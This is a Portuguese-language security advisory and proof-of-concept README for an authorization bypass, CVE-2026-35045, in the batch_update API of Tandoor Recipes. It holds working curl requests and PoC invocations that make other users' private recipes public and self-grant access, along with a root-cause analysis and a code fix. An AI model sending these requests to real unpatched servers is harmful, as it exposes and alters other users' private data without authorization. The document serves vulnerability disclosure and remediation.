
Prova de conceito de exploit para CVE-2026-35045, uma vulnerabilidade de autorização quebrada em nível de objeto no Tandoor Recipes, demonstrando modificação não autorizada de receitas por meio do endpoint da API batch_update.
O endpoint PUT /api/recipe/batch_update/ no Tandoor Recipes v2.6.1 permite que qualquer usuário autenticado dentro de um Espaço modifique qualquer receita naquele Espaço — incluindo receitas privadas de outros usuários. Isso contorna completamente as verificações de autorização em nível de objeto aplicadas em todos os endpoints padrão de receita individual.
A causa raiz é uma lacuna comportamental do Django REST Framework: ações de lista com detail=False nunca invocam has_object_permission(), apenas has_permission(). O queryset filtra somente por space=request.space, sem verificação de created_by, private ou da lista shared. Um atacante pode forçar a exposição de receitas privadas, conceder a si mesmo acesso persistente, revogar permissões de outros usuários e adulterar metadados — tudo em uma única chamada de API que retorna HTTP 200 OK com corpo vazio.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Bypass de Autorização Através de Chave Controlada pelo Usuário |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Versão Afetada | Tandoor Recipes ≤ 2.6.1 |
| Fornecedor | TandoorRecipes/recipes |
detail=False Contorna Verificações de Permissão em Nível de ObjetoArquivo: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Sem verificação de created_by ou private
)
No Django REST Framework, ações registradas com detail=False são ações de lista. Elas nunca chamam get_object(), o que significa que check_object_permissions() e CustomRecipePermission.has_object_permission() nunca são invocadas. Apenas has_permission() é executada — que verifica a associação ao Espaço, não a propriedade da receita.
PUT /api/recipe/{id}/ segue o fluxo completo de permissões do DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ nega acesso se a receita for privada e não pertencer/for compartilhada com o solicitante
O endpoint batch_update pula silenciosamente toda essa cadeia.
RecipeBatchUpdateSerializer expõe os seguintes campos — graváveis em qualquer receita do Espaço:
| Campo | Efeito |
|---|---|
private | Alterna a visibilidade da receita |
shared_add / shared_remove / shared_set | Manipula a lista de controle de acesso |
keywords_add / keywords_remove / keywords_set | Altera os metadados da receita |
working_time / waiting_time | Modifica os dados de tempo da receita |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Atacante │ ─────────────────────────────────────→│ Servidor Tandoor│
│ (Usuário B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Membro do Espaço)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NUNCA CHAMADA│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Sem verificação de propriedade
│
▼
┌────────────────┐
│ Receita ID 2 │
│ (de A) │
│ private=false ← corrigido
│ shared=[2] ← autoconcedido
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Atacante (B) │
│ agora tem │
│ acesso total │
│ à Receita ID 2 │
└────────────────┘
requestspip install requests
# Forçar exposição de uma receita privada e autoconceder acesso (padrão)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Apenas forçar exposição (definir private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Apenas autoconcessão (adicionar à lista shared, manter private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Ação | Descrição |
|---|---|
expose | Define private: false na receita alvo — força a visibilidade para todos os membros do Espaço |
self_grant | Adiciona o ID do atacante a shared_add — concede acesso persistente mesmo se a receita permanecer privada |
both | Executa ambas as ações em uma única requisição (padrão) |
1. Pré-condição — Receita inacessível via endpoint padrão
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: 404 (privada, não pertence ao usuário)
2. Exploração — batch_update sem autorização
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Esperado: HTTP 200 OK — {}
3. Pós-condição — Receita agora acessível
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: HTTP 200 com dados da receita, private=false
4. Verificação via listagem de receitas
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Esperado: 2 <nome_da_receita> False
| Área de Impacto | Descrição | Severidade |
|---|---|---|
| Exposição Forçada de Receitas | Definir private: false torna qualquer receita visível para todos os membros do Espaço | Alta |
| Autoconcessão Não Autorizada | Adicionar o próprio ID de usuário via shared_add concede acesso persistente de leitura/escrita a qualquer receita | Alta |
| Revogação de Acesso | Usar shared_remove ou shared_set para remover usuários legítimos da lista de compartilhamento de uma receita | Alta |
| Adulteração de Metadados | Modificar working_time, waiting_time e keywords em receitas de outros usuários | Média |
Filtrar o queryset por created_by=request.user para restringir operações em lote às receitas próprias:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Correção: restringir às receitas próprias
)
Se administradores do Espaço precisarem atualizar qualquer receita em lote, adicione uma condicional baseada em função:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
Qualquer ação com detail=False que opere em objetos individuais deve aplicar manualmente a autorização em nível de objeto. O has_object_permission() do DRF nunca é chamado para ações de lista — essa responsabilidade recai inteiramente sobre o desenvolvedor.
Esta prova de conceito é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume responsabilidade pelo uso indevido desta ferramenta.
Filipe Gaudard — Pesquisador de Segurança Ofensiva | eWPT | eWPTx